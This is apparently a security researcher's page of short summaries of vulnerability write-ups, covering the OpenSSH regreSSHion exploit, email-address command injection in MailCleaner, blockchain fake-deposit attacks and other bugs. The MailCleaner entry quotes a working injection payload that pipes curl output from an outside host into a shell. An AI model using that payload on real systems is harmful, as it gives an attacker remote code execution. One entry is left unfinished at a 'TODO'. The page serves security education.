Resources

People often ask me "How did you learn how to hack?" The answer: by reading. This page is a collection of the blog posts and other articles that I have accumulated over the years of my journey. Enjoy!

You Can’t Always Win Racing the (Key)cloak- 1447

Maor Abutbul - CyberArk    Reference →Posted 1 Year Ago
  • Keycloak is an open source IAM solution with user management and SSO. They decided to tackle some race conditions within the system relating to user management.
  • From reading the James Kettle post on race conditions, the authors were curious about race conditions in the registration process of users. While reading the source code, they noticed that the requirement for the email verification was added in a later step after creating the user. So, their thought was making a login request AFTER the user was created but BEFORE the restriction was added.
  • While digging into this, they noticed that the ORM used in the program used database transactions. This means that the database writes are grouped together, making the race condition impossible to hit. Regardless, it was interesting seeing their methodology for finding these multi-step types of bugs.
  • They found a classic limit overrun race condition within the rate limiting for API key creation but no multi-step issues.
  • I felt like the post overhyped some of the issues tbh. But, I enjoyed the race condition discussions on it.

Fix Infinite Feegrant Bug- 1446

Cosmos SDK    Reference →Posted 1 Year Ago
  • The fee grant module in the Cosmos SDK is used for setting up a different account to pass for gas on your behalf. After an allowlisted amount was set for a given user, they were given a specific allowance.
  • When using the fee grant module as a user, the amount of fees that a user had access to was never being updated. So, once you had the allowance, it was effectively infinite! This is wild that it got passed testing imo.
  • From reading the code snippets, it appears that the original developer thought that the function Accept() was updating the value. It appears that it was only checking the value. So, the author of the PR had to add code to modify the allowance object to subtract funds from it.

regreSSHion: RCE in OpenSSH's server- 1445

Qualys    Reference →Posted 1 Year Ago
  • Signals in Linux are a mechanism for telling a process to do something. It's a common mechanism for inter-process communication (IPC) put simply. Notably, it's possible to have the code pause at some point (because of a signal) then trigger some other code being executed. This matters since the point in which the signal was interrupted could put the program into an inconsistent state, similar to reentrancy attacks in web3.
  • The authors were looking at signal handlers in SSH when they noticed the handling of SIGALRM was calling not async-signal-safe code, such as syslog(), when closing a packet after a timeout. This was a regression of a vulnerability from 2006 in a change in 2020 to SSH.
  • Their initial idea for exploiting this was using free(). In particular, the path would be triggering the SIGALRM while in the middle of free. Then, get the handler to go into malloc with the inconsistent state.
  • They started by trying to exploit this on a 2006 system, which doesn't have ASLR, NX or the glibc malloc unlink protections in place. The goal of unlink is to remove a chunk from the linked list in order to consolidate the space next to it. If glibc is interrupted at the point where a chunk is free above it but not added to the linked list quiet yet, then the unlink will be attempted on attacker controlled data. This gives an arbitrary 4 byte write, which the author decided to put into the __free_hook of malloc to redirect code execution.
  • Sadly, this didn't work right away; the race window was just too tight. So, they decided to increase their chances. The DSA parsing code for public keys has 4 places where free is called and sshd allows for six user authentications at a time, giving us 24 free calls to be interrupted at the perfect time within SIGALRM. After a month, it worked but they wanted further optimization. They started to time the presence of the alarm happening - one failure led to it being triggered to early while other showed it was too late.
  • The original post mentioned an exploit in Kerberos which made them interested in PAM, an authentication module. They found a spot where a cleanup function is not yet initialized but will be soon. So, if they could interrupt the code with an alarm while this initialization was happening then uninitialized data from the heap could be used to control the function pointer. Although this didn't work, they found a similar missing initialization with leftover heap data that could lead to an arbitrary free vulnerability. They decided to use the House of Mind to overwrite the _exit() entry to shellcode on the stack. Pretty neat!
  • Now, to 2024! The only interesting code to hit was syslog(), which calls into malloc. My first thought was "isn't there a lock on this? However, glibc removed the lock on single threaded code, which makes it not async-signal safe. Within libc, they used the same leftover trick from before. When splitting a chunk into multiple parts, the FREE chunk is added back to the link list BEFORE the new size is set. Since the memory can be controlled from the previous call (it's not cleared), then we can overlap this chunk with our addresses! This is sick because it's relative and doesn't require any knowledge of ASLR.
  • Their goal was to corrupt a FILE vtable pointer by using the async alarm to corrupt a function pointer within it. Since there are many, many protections on FILE pointers from the years of abuse, this took some pretty crazy object faking but was doable. This took some pretty crazy heap grooming and timing in order to get this VERY specific case to happen at a VERY specific time. This exploit takes about 8 hours to win the race because of ASLR on 32 bit and the timing window. There is no exploit on 64 bit at this time.
  • Awesome blog post on an RCE in SSH of all things. A fuzzer could have never found this. To me, there are a few takeaways.
    1. Add regression tests for previous vulnerabilities. If something was written in the past, it is likely to come back via a developer who doesn't understand why something exists.
    2. Primitives are hard to find but are there! Taking the time to understand the constraints of your bug and working around it can still lead to big results.
    3. Esoteric knowledge leads to esoteric bugs.

SovrynBTC Bug Thread- 1444

gandu    Reference →Posted 1 Year Ago
  • The author first links a thread about a weird bug pattern in AMMs. A simple lending protocol will have fees distributed prorata. These vaults have the underlying asset in it and then shares of the pool. Depending on when you got in and how much you gave to the protocol, the more shares you will get.
  • The algorithm for the shares being minted is amount * totalSupply/ totalAssets, where the division goes down. When the value of amount * totalSupply is less than total assets, then it will round down to 0. If totalSupply is 1 and totalAssets is 2, with a user deposits a single amount, then the amount of totalSupply is kept at 0 but the totalAssets goes up by 1. By doing this over and over again, the function will increase by 2x.
  • In an example of this exploit comes from MIM protocol to steal 6M. They performed this attack on an active pool by...TODO...

Advanced Transaction Analysis in Cosmos and CosmWasm- 1443

Range Team    Reference →Posted 1 Year Ago
  • Currently, analyzing transactions for EVM chains is super easy. There are ways to fork the chain and run it locally, you can step through step by step in a debugger and there are great graphing tools to see the occurring calls in the TX. In Cosmos, there is no such thing. So, this article is discussing how to improve this in Cosmos.
  • The post discusses what keepers are, Cosmos events and how state is stored in Cosmos. Additionally, it discusses the traceability of CosmWasm transactions being minimal as well. The only thing that's interesting to me was that events are not part of the AppHash. They link to a Github thread about why; A) event API is prone to changes and B) event changes would be consensus breaking.
  • Tracing transactions in Cosmos can only be done by looking at Cosmos events. However, these may be incorrect in the case of a malicious CosmWasm call. So, Range has written a tool called Isotope that modifies a given node to inject extra information into it in order to enhance the observing aspect of it. This allows for a comprehensive understanding of the lifecycle of a transaction. My guess is that they modified CosmWasm and the Cosmos SDK to add more information to it. Unfortunately, this tool doesn't seem to be open to the public yet :(
  • Besides this, they have created a simulator. Given a transaction data, it will run the transaction for you. This is on their website but has fairly hefty limits (5 per day in free tier). So, although it is pretty cool, you can't rerun a TX from a previous block, which sucks. This is a step in the right direction but there is MUCH more that needs to be done in the Cosmos space.

Beyond the @ Symbol: Exploiting the Flexibility of Email Addresses For Offensive Purposes- 1442

modzero    Reference →Posted 1 Year Ago
  • MailCleaner is an email filtering service. An email address has two parts: the local and the domain, which are separated by an @ symbol.
  • The domain part typically contains letters, numbers, hyphens and periods. The local part is more-so up to interpretation though. Typically, these allow for A-Za-z0-9!#$%&'*+-/=?^_`{|}~. However, when using a double quote on the local part, it becomes more lenient, according to the RFC. Hence, this can allow for weird characters: "(),:;<>@[\.
  • By putting it in quotes, many systems will parse it differently. New characters are allowed or username splitting for commas. Why does this all matter? One mail server may understand an email differently than other implementations. Hence, we may be able to trick a system to do unintended things.
  • Sub addressing on emails allows them to extend the basic email address into something more using the + sign. This allows for easy filtering and it's super nice. It's interesting because information after the plus may be ignored or dropped.
  • While looking into MailCleaner, they noticed a call to system for cleaning up file entries. The domain_entry variable on the call came from a file path glob. By chance, the emails were being added into files! This is awesome; we now have a command injection point. In particular, using the double quotes gives us bad characters for command injection.
  • There is a problem though: this code was only hittable by a malicious recipient address with a high spam score. This means that both MailCleaner and itself and the target mail server had to find the email as valid to hit this code. Obviously, the capability to register an arbitrary mailbox was too big of an ask.
  • They decided to target Gmail and Outlook mail providers. They decided to use the sub-addresses functionality in order to exploit this. Sadly, neither of them were compliant to the specification and didn't allow simple command injection allows, which gave them the restricted set of characters +&|`${}#*. In this, there is no space character and everything was lower cased, preventing the usage of ENV variables.
  • In the Dash documentation, there is a feature called parameter expansion. This provides substring functionality. The idea was to extract a space from another command and use that, which then stores the data into an environment variable called a. After executing a command that ended in a particular fashion, we could get those characters. Then, ${a##*d} would return the ending, including a space!
  • The final payload ends up being a=`df|tac`&&curl${a##*d}.modzero.com|sh, where the space is for the spot between the items in curl. They had created a reverse shell that was completely compliant to the RFC, without spaces. That's pretty amazing! As a plus, they got a stored XSS on the email address on the senders email via the extra double quoted characters.

CVE-2024-27815- 1441

Joseph Ravichandran (Ravi)    Reference →Posted 1 Year Ago
  • Within portions of the BSD kernel, the mbuf object is used in networking. It consists of a header and data, which are both fixed size. _MSIZE is used for the total message of the buffer and MLEN is used for the size of the data portion of the buffer.
  • The vulnerability exists within a bcopy where it copies the socket address into the message buffer. Instead of using MLEN for the length check (224) it uses the full size of the buffer (255), including the header. This creates a buffer overflow of 31 bytes.
  • The reason for the bug is likely a confusion between the two length types. This makes sense that it got through code review!
  • The proof of concept for this requires 3 syscalls, which is fairly simple! I'm surprised that something like syskaller didn't find this. The crash trace shows that this corrupts an mbuf after their data.
  • The bug is a super simple buffer overflow. To find it, it required a deep attention to detail on sizes. Naming of variables correctly is important :)

Partial Payments on XRP Wallets- 1440

XRP    Reference →Posted 1 Year Ago
  • The XRP blockchain have a feature called partial payment. This allows a payment to deliver part of what the amount fields says. Why? I'm guessing this is a feature to break up large transfers over time to another user.
  • When the feature is used, the delivered_amount field contains the actual amount that was delivered. In other cases, the amount contains the full amount of funds that were sent.
  • In terms of security, they have a hypothetical attack that I felt was interesting. If your sending funds to an exchange, delivered_amount MUST be checked on the transfer. Otherwise, the user will be credited with more funds than they actual sent. An interesting feature that I'm sure has led to problems in the past.

Details and Solutions for False Top-up Attack (hard_fail status attack) on EOS- 1439

SlowMist    Reference →Posted 1 Year Ago
  • EOS is a blockchain with smart contract capabilities that is fairly unique compared to Ethereum in some regards. EOS transactions have 5 different states:
    • Executed: Transaction succeeded with no error handling.
    • soft_fail: The transaction failed but the error handler was properly triggered.
    • hard_fail: The transaction failed and NO error handler was triggered.
    • delayed: The transaction has some deferred execution.
    • expired: The transaction is expired and cannot be executed.
  • My going through the article (not great English which makes it hard to parse), several exchanges were not parsing the status of the transaction correctly. In particular, the hard_fail could be used in order to get the TX processed on the exchange while it was still chilling in the mempool. This is very hard to make happen, which is why the exchange probably never handled this case.
  • To me, it's crazy that they didn't solely look for executed and wait until complete finalization of the block. However, this is an older article so I'll give the company a break :) Still, interesting way to attack various chains none-the-less.

Bitcoin RBF Fake Deposit Risk Analysis- 1438

ZenGo    Reference →Posted 1 Year Ago
  • In Bitcoin, there is a concept known as replace by fee (RBF) to allow the use of other transactions to replace unconfirmed ones. There are many ways to go about doing this type of scheme. Fee based (higher fee goes) and time based are common ways to do this. On Ethereum, the fee based mechanism can be used.
  • In order to confirm that a transaction went through, a certain amount of confirmations must pass. This demonstrates that this is legit and the state will not change. Many chains call this finalization.
  • Why does this matter? Cryptocurrency wallets were found to be using transactions with zero confirmations; aka, still in the mempool. By abusing the replace by fee functionality (and using a very low fee), it's possible to send a transfer that the wallet initially sees with a lot of money then have this transfer be completely different (or even invalid).
  • Imagine, you're a user doing a transfer for something physical in exchange for cryptocurrency where you BOTH need to do an action at the same time. The end user sees the bitcoin in their account then gives the guy the package. But, it was a trick! In reality, the wallet never had the tokens; they were in the mempool and it reverted.
  • Apparently, this issue effected major wallets like Ledger. In some cases doing this too many times would cause the wallet to become bricked! Overall, a super interesting attack! The wallets want to be fast for the user and didn't anticipate this functionality being abused.